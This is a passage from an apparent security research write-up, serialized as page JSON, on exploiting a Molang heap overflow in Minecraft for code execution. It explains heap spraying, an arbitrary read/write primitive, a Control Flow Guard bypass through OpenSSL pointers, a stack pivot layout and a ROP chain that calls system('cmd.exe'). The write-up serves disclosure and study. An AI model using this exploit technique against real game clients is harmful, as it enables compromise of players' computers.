with\n",{"type":24,"tag":135,"props":162009,"children":162011},{"className":162010},[],[162012],{"type":29,"value":162013},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":29,"value":162015}," will very likely clobber the ",{"type":24,"tag":135,"props":162017,"children":162019},{"className":162018},[],[162020],{"type":29,"value":160214},{"type":29,"value":162022}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":24,"tag":25,"props":162024,"children":162025},{},[162026],{"type":29,"value":162027},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":24,"tag":25,"props":162029,"children":162030},{},[162031],{"type":29,"value":162032},"The final exploit proceeds in three stages:",{"type":24,"tag":3834,"props":162034,"children":162035},{},[162036,162041,162046],{"type":24,"tag":101,"props":162037,"children":162038},{},[162039],{"type":29,"value":162040},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":24,"tag":101,"props":162042,"children":162043},{},[162044],{"type":29,"value":162045},"Perform the heap spray with signs to create the desired layout for the attack",{"type":24,"tag":101,"props":162047,"children":162048},{},[162049],{"type":29,"value":162050},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":24,"tag":26585,"props":162052,"children":162054},{"id":162053},"initial-corruption-variant-lfh-heap-approach",[162055],{"type":29,"value":162056},"Initial Corruption Variant: LFH Heap Approach",{"type":24,"tag":25,"props":162058,"children":162059},{},[162060],{"type":29,"value":162061},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":24,"tag":25,"props":162063,"children":162064},{},[162065,162067,162072,162073,162079],{"type":29,"value":162066},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":24,"tag":135,"props":162068,"children":162070},{"className":162069},[],[162071],{"type":29,"value":159961},{"type":29,"value":14204},{"type":24,"tag":135,"props":162074,"children":162076},{"className":162075},[],[162077],{"type":29,"value":162078},"last_index",{"type":29,"value":162080}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":24,"tag":25,"props":162082,"children":162083},{},[162084,162086,162091,162092,162097,162099,162104,162106,162111,162113,162118,162120,162126,162127,162133,162134,162140],{"type":29,"value":162085},"The main attack can be arranged by making the resulting index point at the ",{"type":24,"tag":135,"props":162087,"children":162089},{"className":162088},[],[162090],{"type":29,"value":156914},{"type":29,"value":160699},{"type":24,"tag":135,"props":162093,"children":162095},{"className":162094},[],[162096],{"type":29,"value":159894},{"type":29,"value":162098},". From there, the script can overwrite three variable indices at offset ",{"type":24,"tag":135,"props":162100,"children":162102},{"className":162101},[],[162103],{"type":29,"value":159652},{"type":29,"value":162105}," within the ",{"type":24,"tag":135,"props":162107,"children":162109},{"className":162108},[],[162110],{"type":29,"value":159894},{"type":29,"value":162112}," by using the string type. This works because a Molang string's value is just a ",{"type":24,"tag":135,"props":162114,"children":162116},{"className":162115},[],[162117],{"type":29,"value":5279},{"type":29,"value":162119}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":24,"tag":135,"props":162121,"children":162123},{"className":162122},[],[162124],{"type":29,"value":162125},"0xfb",{"type":29,"value":158},{"type":24,"tag":135,"props":162128,"children":162130},{"className":162129},[],[162131],{"type":29,"value":162132},"0xfc",{"type":29,"value":518},{"type":24,"tag":135,"props":162135,"children":162137},{"className":162136},[],[162138],{"type":29,"value":162139},"0xfd",{"type":29,"value":162141}," the script would do:",{"type":24,"tag":261,"props":162143,"children":162145},{"code":162144},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[162146],{"type":24,"tag":135,"props":162147,"children":162148},{"__ignoreMap":7},[162149],{"type":29,"value":162144},{"type":24,"tag":25,"props":162151,"children":162152},{},[162153,162155,162160,162161,162167,162169,162174],{"type":29,"value":162154},"That line would write the ",{"type":24,"tag":135,"props":162156,"children":162158},{"className":162157},[],[162159],{"type":29,"value":5279},{"type":29,"value":98963},{"type":24,"tag":135,"props":162162,"children":162164},{"className":162163},[],[162165],{"type":29,"value":162166},"0x302700fb00fc00fd",{"type":29,"value":162168}," (string's FNV-1 hash) into the allocated ",{"type":24,"tag":135,"props":162170,"children":162172},{"className":162171},[],[162173],{"type":29,"value":159894},{"type":29,"value":162175}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":24,"tag":85,"props":162177,"children":162179},{"id":162178},"hijacking-execution",[162180],{"type":29,"value":162181},"Hijacking Execution",{"type":24,"tag":25,"props":162183,"children":162184},{},[162185,162187,162192,162194,162200],{"type":29,"value":162186},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":24,"tag":135,"props":162188,"children":162190},{"className":162189},[],[162191],{"type":29,"value":161729},{"type":29,"value":162193}," and function pointers in the writable ",{"type":24,"tag":135,"props":162195,"children":162197},{"className":162196},[],[162198],{"type":29,"value":162199},".data",{"type":29,"value":162201}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":24,"tag":25,"props":162203,"children":162204},{},[162205],{"type":29,"value":162206},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":24,"tag":25,"props":162208,"children":162209},{},[162210],{"type":29,"value":162211},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":24,"tag":25,"props":162213,"children":162214},{},[162215],{"type":24,"tag":74,"props":162216,"children":162218},{"alt":76,"src":162217},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":24,"tag":25,"props":162220,"children":162221},{},[162222,162224,162230,162232,162238,162240,162245,162247,162252,162254,162260,162262,162267,162269,162275,162277,162282],{"type":29,"value":162223},"This snippet calls a method on an object: ",{"type":24,"tag":135,"props":162225,"children":162227},{"className":162226},[],[162228],{"type":29,"value":162229},"rcx",{"type":29,"value":162231}," holds the object pointer, the first ",{"type":24,"tag":135,"props":162233,"children":162235},{"className":162234},[],[162236],{"type":29,"value":162237},"mov",{"type":29,"value":162239}," loads the object's ",{"type":24,"tag":135,"props":162241,"children":162243},{"className":162242},[],[162244],{"type":29,"value":161729},{"type":29,"value":162246}," into ",{"type":24,"tag":135,"props":162248,"children":162250},{"className":162249},[],[162251],{"type":29,"value":6426},{"type":29,"value":162253},", and the function pointer at ",{"type":24,"tag":135,"props":162255,"children":162257},{"className":162256},[],[162258],{"type":29,"value":162259},"rax + 0x8",{"type":29,"value":162261}," is read into ",{"type":24,"tag":135,"props":162263,"children":162265},{"className":162264},[],[162266],{"type":29,"value":6426},{"type":29,"value":162268},". Finally, ",{"type":24,"tag":135,"props":162270,"children":162272},{"className":162271},[],[162273],{"type":29,"value":162274},"__guard_dispatch_icall_fptr",{"type":29,"value":162276}," is called - this is the CFG dispatch function that validates ",{"type":24,"tag":135,"props":162278,"children":162280},{"className":162279},[],[162281],{"type":29,"value":6426},{"type":29,"value":162283}," as a legal call target before invoking it.",{"type":24,"tag":25,"props":162285,"children":162286},{},[162287],{"type":29,"value":162288},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":24,"tag":25,"props":162290,"children":162291},{},[162292],{"type":24,"tag":74,"props":162293,"children":162295},{"alt":76,"src":162294},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":24,"tag":25,"props":162297,"children":162298},{},[162299,162301,162307,162309,162315],{"type":29,"value":162300},"Here, the function pointer at ",{"type":24,"tag":135,"props":162302,"children":162304},{"className":162303},[],[162305],{"type":29,"value":162306},"vtable + 0x10",{"type":29,"value":162308}," is loaded into ",{"type":24,"tag":135,"props":162310,"children":162312},{"className":162311},[],[162313],{"type":29,"value":162314},"rdx",{"type":29,"value":162316}," and then called directly.",{"type":24,"tag":25,"props":162318,"children":162319},{},[162320],{"type":29,"value":162321},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":24,"tag":25,"props":162323,"children":162324},{},[162325,162327,162332],{"type":29,"value":162326},"So the remaining task is to locate OpenSSL function or ",{"type":24,"tag":135,"props":162328,"children":162330},{"className":162329},[],[162331],{"type":29,"value":161729},{"type":29,"value":162333}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":24,"tag":26585,"props":162335,"children":162337},{"id":162336},"locating-overwrite-targets",[162338],{"type":29,"value":162339},"Locating Overwrite Targets",{"type":24,"tag":25,"props":162341,"children":162342},{},[162343,162345,162351,162352,162357,162359,162364,162366,162372],{"type":29,"value":162344},"One of the first targets we identified were the ",{"type":24,"tag":135,"props":162346,"children":162348},{"className":162347},[],[162349],{"type":29,"value":162350},"malloc",{"type":29,"value":518},{"type":24,"tag":135,"props":162353,"children":162355},{"className":162354},[],[162356],{"type":29,"value":156962},{"type":29,"value":162358}," callbacks. These reside in the ",{"type":24,"tag":135,"props":162360,"children":162362},{"className":162361},[],[162363],{"type":29,"value":162199},{"type":29,"value":162365}," section and are invoked whenever they don’t match the expected ",{"type":24,"tag":135,"props":162367,"children":162369},{"className":162368},[],[162370],{"type":29,"value":162371},"OPENSSL_malloc/free",{"type":29,"value":138820},{"type":24,"tag":25,"props":162374,"children":162375},{},[162376],{"type":24,"tag":74,"props":162377,"children":162379},{"alt":76,"src":162378},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":24,"tag":25,"props":162381,"children":162382},{},[162383],{"type":29,"value":162384},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":24,"tag":25,"props":162386,"children":162387},{},[162388,162390,162396,162398,162404,162406,162411],{"type":29,"value":162389},"Later, we found another promising function: ",{"type":24,"tag":135,"props":162391,"children":162393},{"className":162392},[],[162394],{"type":29,"value":162395},"ossl_ec_key_new_method_int",{"type":29,"value":162397},". This function creates and initializes an ",{"type":24,"tag":135,"props":162399,"children":162401},{"className":162400},[],[162402],{"type":29,"value":162403},"EC_KEY",{"type":29,"value":162405}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":24,"tag":135,"props":162407,"children":162409},{"className":162408},[],[162410],{"type":29,"value":162199},{"type":29,"value":162412},") containing function pointers:",{"type":24,"tag":25,"props":162414,"children":162415},{},[162416],{"type":24,"tag":74,"props":162417,"children":162419},{"alt":76,"src":162418},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":24,"tag":25,"props":162421,"children":162422},{},[162423,162425,162431,162432,162438,162440,162445,162447,162453,162455,162460,162462,162467,162469,162474],{"type":29,"value":162424},"In the image above, ",{"type":24,"tag":135,"props":162426,"children":162428},{"className":162427},[],[162429],{"type":29,"value":162430},"ret->meth",{"type":29,"value":132284},{"type":24,"tag":135,"props":162433,"children":162435},{"className":162434},[],[162436],{"type":29,"value":162437},"default_ec_key_meth",{"type":29,"value":162439},", which points to a structure of function pointers located in ",{"type":24,"tag":135,"props":162441,"children":162443},{"className":162442},[],[162444],{"type":29,"value":162199},{"type":29,"value":162446},". It then calls ",{"type":24,"tag":135,"props":162448,"children":162450},{"className":162449},[],[162451],{"type":29,"value":162452},"ret->meth->init",{"type":29,"value":162454},", passing the ",{"type":24,"tag":135,"props":162456,"children":162458},{"className":162457},[],[162459],{"type":29,"value":25385},{"type":29,"value":162461}," pointer (",{"type":24,"tag":135,"props":162463,"children":162465},{"className":162464},[],[162466],{"type":29,"value":18693},{"type":29,"value":162468},"). This alone isn’t especially useful because ",{"type":24,"tag":135,"props":162470,"children":162472},{"className":162471},[],[162473],{"type":29,"value":18693},{"type":29,"value":162475}," is heap-allocated.",{"type":24,"tag":25,"props":162477,"children":162478},{},[162479,162481,162486],{"type":29,"value":162480},"But, if we look at how ",{"type":24,"tag":135,"props":162482,"children":162484},{"className":162483},[],[162485],{"type":29,"value":162452},{"type":29,"value":162487}," is invoked in the disassembly:",{"type":24,"tag":25,"props":162489,"children":162490},{},[162491],{"type":24,"tag":74,"props":162492,"children":162494},{"alt":76,"src":162493},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":24,"tag":25,"props":162496,"children":162497},{},[162498,162499,162504,162506,162511,162513,162518,162520,162525,162527,162532,162534,162539,162541,162546,162548,162554],{"type":29,"value":15196},{"type":24,"tag":135,"props":162500,"children":162502},{"className":162501},[],[162503],{"type":29,"value":162452},{"type":29,"value":162505}," is not ",{"type":24,"tag":135,"props":162507,"children":162509},{"className":162508},[],[162510],{"type":29,"value":4112},{"type":29,"value":162512},", it is called while ",{"type":24,"tag":135,"props":162514,"children":162516},{"className":162515},[],[162517],{"type":29,"value":6426},{"type":29,"value":162519}," still contains the value of ",{"type":24,"tag":135,"props":162521,"children":162523},{"className":162522},[],[162524],{"type":29,"value":162430},{"type":29,"value":162526}," - that is, a pointer to the structure in ",{"type":24,"tag":135,"props":162528,"children":162530},{"className":162529},[],[162531],{"type":29,"value":162199},{"type":29,"value":162533}," that we control. This is ideal, because we can overwrite ",{"type":24,"tag":135,"props":162535,"children":162537},{"className":162536},[],[162538],{"type":29,"value":162437},{"type":29,"value":162540}," with a pointer to a region in ",{"type":24,"tag":135,"props":162542,"children":162544},{"className":162543},[],[162545],{"type":29,"value":162199},{"type":29,"value":162547}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":24,"tag":135,"props":162549,"children":162551},{"className":162550},[],[162552],{"type":29,"value":162553},"mov rsp, rax; ret",{"type":29,"value":162555},"-style gadget.",{"type":24,"tag":25,"props":162557,"children":162558},{},[162559,162561,162566,162568,162573],{"type":29,"value":162560},"Although we discovered that ",{"type":24,"tag":135,"props":162562,"children":162564},{"className":162563},[],[162565],{"type":29,"value":162395},{"type":29,"value":162567}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":24,"tag":135,"props":162569,"children":162571},{"className":162570},[],[162572],{"type":29,"value":162371},{"type":29,"value":162574}," callbacks.",{"type":24,"tag":26585,"props":162576,"children":162578},{"id":162577},"stack-pivot",[162579],{"type":29,"value":162580},"Stack Pivot",{"type":24,"tag":25,"props":162582,"children":162583},{},[162584,162586,162591,162593,162598,162600,162605,162607,162613],{"type":29,"value":162585},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":24,"tag":135,"props":162587,"children":162589},{"className":162588},[],[162590],{"type":29,"value":162199},{"type":29,"value":162592},", overwrite ",{"type":24,"tag":135,"props":162594,"children":162596},{"className":162595},[],[162597],{"type":29,"value":162437},{"type":29,"value":162599}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":24,"tag":135,"props":162601,"children":162603},{"className":162602},[],[162604],{"type":29,"value":162395},{"type":29,"value":162606},". This ultimately calls ",{"type":24,"tag":135,"props":162608,"children":162610},{"className":162609},[],[162611],{"type":29,"value":162612},"default_ec_key_meth->init",{"type":29,"value":162614},", which executes the pivot and begins ROP execution.",{"type":24,"tag":25,"props":162616,"children":162617},{},[162618,162620,162626,162628,162634],{"type":29,"value":162619},"We chose to overwrite the ",{"type":24,"tag":135,"props":162621,"children":162623},{"className":162622},[],[162624],{"type":29,"value":162625},"OPENSSL_free",{"type":29,"value":162627}," callback. This produces only a minor memory leak, while overwriting ",{"type":24,"tag":135,"props":162629,"children":162631},{"className":162630},[],[162632],{"type":29,"value":162633},"OPENSSL_malloc",{"type":29,"value":162635}," would require our replacement function to return a writable, unused memory region.",{"type":24,"tag":25,"props":162637,"children":162638},{},[162639,162641,162647,162648,162654,162656,162661],{"type":29,"value":162640},"For the stack pivot, we found two useful gadgets: ",{"type":24,"tag":135,"props":162642,"children":162644},{"className":162643},[],[162645],{"type":29,"value":162646},"add rsp, 0x10; pop r14; ret",{"type":29,"value":518},{"type":24,"tag":135,"props":162649,"children":162651},{"className":162650},[],[162652],{"type":29,"value":162653},"xchg rsp, rax; ret",{"type":29,"value":162655},". The exploit writes them into ",{"type":24,"tag":135,"props":162657,"children":162659},{"className":162658},[],[162660],{"type":29,"value":162199},{"type":29,"value":162662}," like this:",{"type":24,"tag":261,"props":162664,"children":162666},{"code":162665}," +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n +-----------------------------+\n+0x08 | padding |\n +-----------------------------+\n+0x10 | xchg rsp, rax; ret |\n +-----------------------------+\n+0x18 | padding (pop r14) |\n +-----------------------------+\n+0x20 | ROP Chain |\n +-----------------------------+\n",[162667],{"type":24,"tag":135,"props":162668,"children":162669},{"__ignoreMap":7},[162670],{"type":29,"value":162665},{"type":24,"tag":25,"props":162672,"children":162673},{},[162674,162676,162681,162683,162688,162690,162695,162697,162702,162704,162709,162711,162716,162718,162723],{"type":29,"value":162675},"The second gadget, ",{"type":24,"tag":135,"props":162677,"children":162679},{"className":162678},[],[162680],{"type":29,"value":162653},{"type":29,"value":162682},", is placed in the slot corresponding to the ",{"type":24,"tag":135,"props":162684,"children":162686},{"className":162685},[],[162687],{"type":29,"value":28427},{"type":29,"value":162689}," function pointer. As mentioned earlier, when ",{"type":24,"tag":135,"props":162691,"children":162693},{"className":162692},[],[162694],{"type":29,"value":162452},{"type":29,"value":162696}," is called, ",{"type":24,"tag":135,"props":162698,"children":162700},{"className":162699},[],[162701],{"type":29,"value":6426},{"type":29,"value":162703}," contains a pointer to ",{"type":24,"tag":135,"props":162705,"children":162707},{"className":162706},[],[162708],{"type":29,"value":162437},{"type":29,"value":162710}," - which we have overwritten and now points to our ",{"type":24,"tag":135,"props":162712,"children":162714},{"className":162713},[],[162715],{"type":29,"value":162646},{"type":29,"value":162717}," gadget in ",{"type":24,"tag":135,"props":162719,"children":162721},{"className":162720},[],[162722],{"type":29,"value":162199},{"type":29,"value":41},{"type":24,"tag":25,"props":162725,"children":162726},{},[162727,162729,162735,162737,162742,162744,162750,162752,162757,162759,162764,162766,162771,162773,162778,162780,162785,162787,162792],{"type":29,"value":162728},"When the call occurs, ",{"type":24,"tag":135,"props":162730,"children":162732},{"className":162731},[],[162733],{"type":29,"value":162734},"xchg rsp, rax",{"type":29,"value":162736}," swaps the stack pointer with this controlled pointer inside ",{"type":24,"tag":135,"props":162738,"children":162740},{"className":162739},[],[162741],{"type":29,"value":162199},{"type":29,"value":162743},", effectively moving ",{"type":24,"tag":135,"props":162745,"children":162747},{"className":162746},[],[162748],{"type":29,"value":162749},"rsp",{"type":29,"value":162751}," into our ROP region. After the ",{"type":24,"tag":135,"props":162753,"children":162755},{"className":162754},[],[162756],{"type":29,"value":18693},{"type":29,"value":162758},", execution continues at ",{"type":24,"tag":135,"props":162760,"children":162762},{"className":162761},[],[162763],{"type":29,"value":162646},{"type":29,"value":162765},", which advances ",{"type":24,"tag":135,"props":162767,"children":162769},{"className":162768},[],[162770],{"type":29,"value":162749},{"type":29,"value":162772}," by ",{"type":24,"tag":135,"props":162774,"children":162776},{"className":162775},[],[162777],{"type":29,"value":52201},{"type":29,"value":162779}," bytes, skipping over the padding and the ",{"type":24,"tag":135,"props":162781,"children":162783},{"className":162782},[],[162784],{"type":29,"value":162653},{"type":29,"value":162786}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":24,"tag":135,"props":162788,"children":162790},{"className":162789},[],[162791],{"type":29,"value":162653},{"type":29,"value":162793},") begins executing.",{"type":24,"tag":85,"props":162795,"children":162797},{"id":162796},"rop-chain",[162798],{"type":29,"value":162799},"ROP Chain",{"type":24,"tag":25,"props":162801,"children":162802},{},[162803,162805,162811,162813,162818],{"type":29,"value":162804},"For the demo, the ROP chain simply calls ",{"type":24,"tag":135,"props":162806,"children":162808},{"className":162807},[],[162809],{"type":29,"value":162810},"system(\"cmd.exe\")",{"type":29,"value":162812},". Because Minecraft does not use ",{"type":24,"tag":135,"props":162814,"children":162816},{"className":162815},[],[162817],{"type":29,"value":138542},{"type":29,"value":162819},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":24,"tag":25,"props":162821,"children":162822},{},[162823,162825,162831,162833,162839,162841,162846,162848,162854,162856,162861],{"type":29,"value":162824},"This is straightforward: the chain first calls ",{"type":24,"tag":135,"props":162826,"children":162828},{"className":162827},[],[162829],{"type":29,"value":162830},"GetModuleHandle(\"ucrtbase.dll\")",{"type":29,"value":162832}," to obtain the base address of ",{"type":24,"tag":135,"props":162834,"children":162836},{"className":162835},[],[162837],{"type":29,"value":162838},"ucrtbase.dll",{"type":29,"value":162840}," (which exports ",{"type":24,"tag":135,"props":162842,"children":162844},{"className":162843},[],[162845],{"type":29,"value":138542},{"type":29,"value":162847},"). It then calls ",{"type":24,"tag":135,"props":162849,"children":162851},{"className":162850},[],[162852],{"type":29,"value":162853},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":29,"value":162855}," to retrieve the function’s address. Finally, it invokes ",{"type":24,"tag":135,"props":162857,"children":162859},{"className":162858},[],[162860],{"type":29,"value":138542},{"type":29,"value":162862}," with the \"cmd.exe\" string.",{"type":24,"tag":25,"props":162864,"children":162865},{},[162866],{"type":29,"value":162867},"In the exploit script, the ROP chain looks something like this:",{"type":24,"tag":261,"props":162869,"children":162871},{"code":162870,"language":27149,"meta":7,"className":27150,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[162872],{"type":24,"tag":135,"props":162873,"children":162874},{"__ignoreMap":7},[162875,162883,162891,162916,162924,162932,162939,162947,162955,162982,162995,163008,163029,163058,163087,163094,163102,163115,163123,163159,163167,163174,163182,163189,163214,163225,163237],{"type":24,"tag":271,"props":162876,"children":162877},{"class":273,"line":274},[162878],{"type":24,"tag":271,"props":162879,"children":162880},{"style":2058},[162881],{"type":29,"value":162882},"# get the address of `GetModuleHandle` to `rax`\n",{"type":24,"tag":271,"props":162884,"children":162885},{"class":273,"line":284},[162886],{"type":24,"tag":271,"props":162887,"children":162888},{"style":288},[162889],{"type":29,"value":162890},"rop.gadget(pop_r8)\n",{"type":24,"tag":271,"props":162892,"children":162893},{"class":273,"line":294},[162894,162899,162903,162908,162912],{"type":24,"tag":271,"props":162895,"children":162896},{"style":288},[162897],{"type":29,"value":162898},"rop.gadget(addr_get_module_handle_a ",{"type":24,"tag":271,"props":162900,"children":162901},{"style":624},[162902],{"type":29,"value":9821},{"type":24,"tag":271,"props":162904,"children":162905},{"style":278},[162906],{"type":29,"value":162907}," 0x",{"type":24,"tag":271,"props":162909,"children":162910},{"style":477},[162911],{"type":29,"value":141659},{"type":24,"tag":271,"props":162913,"children":162914},{"style":288},[162915],{"type":29,"value":694},{"type":24,"tag":271,"props":162917,"children":162918},{"class":273,"line":303},[162919],{"type":24,"tag":271,"props":162920,"children":162921},{"style":2058},[162922],{"type":29,"value":162923},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":24,"tag":271,"props":162925,"children":162926},{"class":273,"line":312},[162927],{"type":24,"tag":271,"props":162928,"children":162929},{"style":288},[162930],{"type":29,"value":162931},"rop.gadget(mov_rax_r8_28)\n",{"type":24,"tag":271,"props":162933,"children":162934},{"class":273,"line":321},[162935],{"type":24,"tag":271,"props":162936,"children":162937},{"emptyLinePlaceholder":16},[162938],{"type":29,"value":327},{"type":24,"tag":271,"props":162940,"children":162941},{"class":273,"line":330},[162942],{"type":24,"tag":271,"props":162943,"children":162944},{"style":2058},[162945],{"type":29,"value":162946},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":24,"tag":271,"props":162948,"children":162949},{"class":273,"line":339},[162950],{"type":24,"tag":271,"props":162951,"children":162952},{"style":288},[162953],{"type":29,"value":162954},"rop.gadget(pop_rcx)\n",{"type":24,"tag":271,"props":162956,"children":162957},{"class":273,"line":347},[162958,162963,162968,162973,162977],{"type":24,"tag":271,"props":162959,"children":162960},{"style":288},[162961],{"type":29,"value":162962},"rop.gadget(",{"type":24,"tag":271,"props":162964,"children":162965},{"style":278},[162966],{"type":29,"value":162967},"0x",{"type":24,"tag":271,"props":162969,"children":162970},{"style":477},[162971],{"type":29,"value":162972},"7468B68",{"type":24,"tag":271,"props":162974,"children":162975},{"style":288},[162976],{"type":29,"value":8823},{"type":24,"tag":271,"props":162978,"children":162979},{"style":2058},[162980],{"type":29,"value":162981},"# offset of \"ucrtbase.dll\" string\n",{"type":24,"tag":271,"props":162983,"children":162984},{"class":273,"line":356},[162985,162990],{"type":24,"tag":271,"props":162986,"children":162987},{"style":288},[162988],{"type":29,"value":162989},"rop.gadget(ret) ",{"type":24,"tag":271,"props":162991,"children":162992},{"style":2058},[162993],{"type":29,"value":162994},"# movaps alignment\n",{"type":24,"tag":271,"props":162996,"children":162997},{"class":273,"line":365},[162998,163003],{"type":24,"tag":271,"props":162999,"children":163000},{"style":288},[163001],{"type":29,"value":163002},"rop.gadget(push_rax_ret) ",{"type":24,"tag":271,"props":163004,"children":163005},{"style":2058},[163006],{"type":29,"value":163007},"# calls `GetModuleHandle`\n",{"type":24,"tag":271,"props":163009,"children":163010},{"class":273,"line":374},[163011,163016,163020,163025],{"type":24,"tag":271,"props":163012,"children":163013},{"style":288},[163014],{"type":29,"value":163015},"rop.literal(u64(",{"type":24,"tag":271,"props":163017,"children":163018},{"style":278},[163019],{"type":29,"value":10954},{"type":24,"tag":271,"props":163021,"children":163022},{"style":378},[163023],{"type":29,"value":163024},"\"ucrtbase\"",{"type":24,"tag":271,"props":163026,"children":163027},{"style":288},[163028],{"type":29,"value":27401},{"type":24,"tag":271,"props":163030,"children":163031},{"class":273,"line":384},[163032,163036,163040,163045,163050,163054],{"type":24,"tag":271,"props":163033,"children":163034},{"style":288},[163035],{"type":29,"value":163015},{"type":24,"tag":271,"props":163037,"children":163038},{"style":278},[163039],{"type":29,"value":10954},{"type":24,"tag":271,"props":163041,"children":163042},{"style":378},[163043],{"type":29,"value":163044},"\".dll",{"type":24,"tag":271,"props":163046,"children":163047},{"style":5694},[163048],{"type":29,"value":163049},"\\x00\\x00\\x00\\x00",{"type":24,"tag":271,"props":163051,"children":163052},{"style":378},[163053],{"type":29,"value":5702},{"type":24,"tag":271,"props":163055,"children":163056},{"style":288},[163057],{"type":29,"value":27401},{"type":24,"tag":271,"props":163059,"children":163060},{"class":273,"line":393},[163061,163065,163069,163074,163079,163083],{"type":24,"tag":271,"props":163062,"children":163063},{"style":288},[163064],{"type":29,"value":163015},{"type":24,"tag":271,"props":163066,"children":163067},{"style":278},[163068],{"type":29,"value":10954},{"type":24,"tag":271,"props":163070,"children":163071},{"style":378},[163072],{"type":29,"value":163073},"\"system",{"type":24,"tag":271,"props":163075,"children":163076},{"style":5694},[163077],{"type":29,"value":163078},"\\x00\\x00",{"type":24,"tag":271,"props":163080,"children":163081},{"style":378},[163082],{"type":29,"value":5702},{"type":24,"tag":271,"props":163084,"children":163085},{"style":288},[163086],{"type":29,"value":27401},{"type":24,"tag":271,"props":163088,"children":163089},{"class":273,"line":402},[163090],{"type":24,"tag":271,"props":163091,"children":163092},{"emptyLinePlaceholder":16},[163093],{"type":29,"value":327},{"type":24,"tag":271,"props":163095,"children":163096},{"class":273,"line":411},[163097],{"type":24,"tag":271,"props":163098,"children":163099},{"style":2058},[163100],{"type":29,"value":163101},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":24,"tag":271,"props":163103,"children":163104},{"class":273,"line":420},[163105,163110],{"type":24,"tag":271,"props":163106,"children":163107},{"style":288},[163108],{"type":29,"value":163109},"rop.gadget(xchg_rcx_rax) ",{"type":24,"tag":271,"props":163111,"children":163112},{"style":2058},[163113],{"type":29,"value":163114},"# move the return value of `GetModuleHandle` to 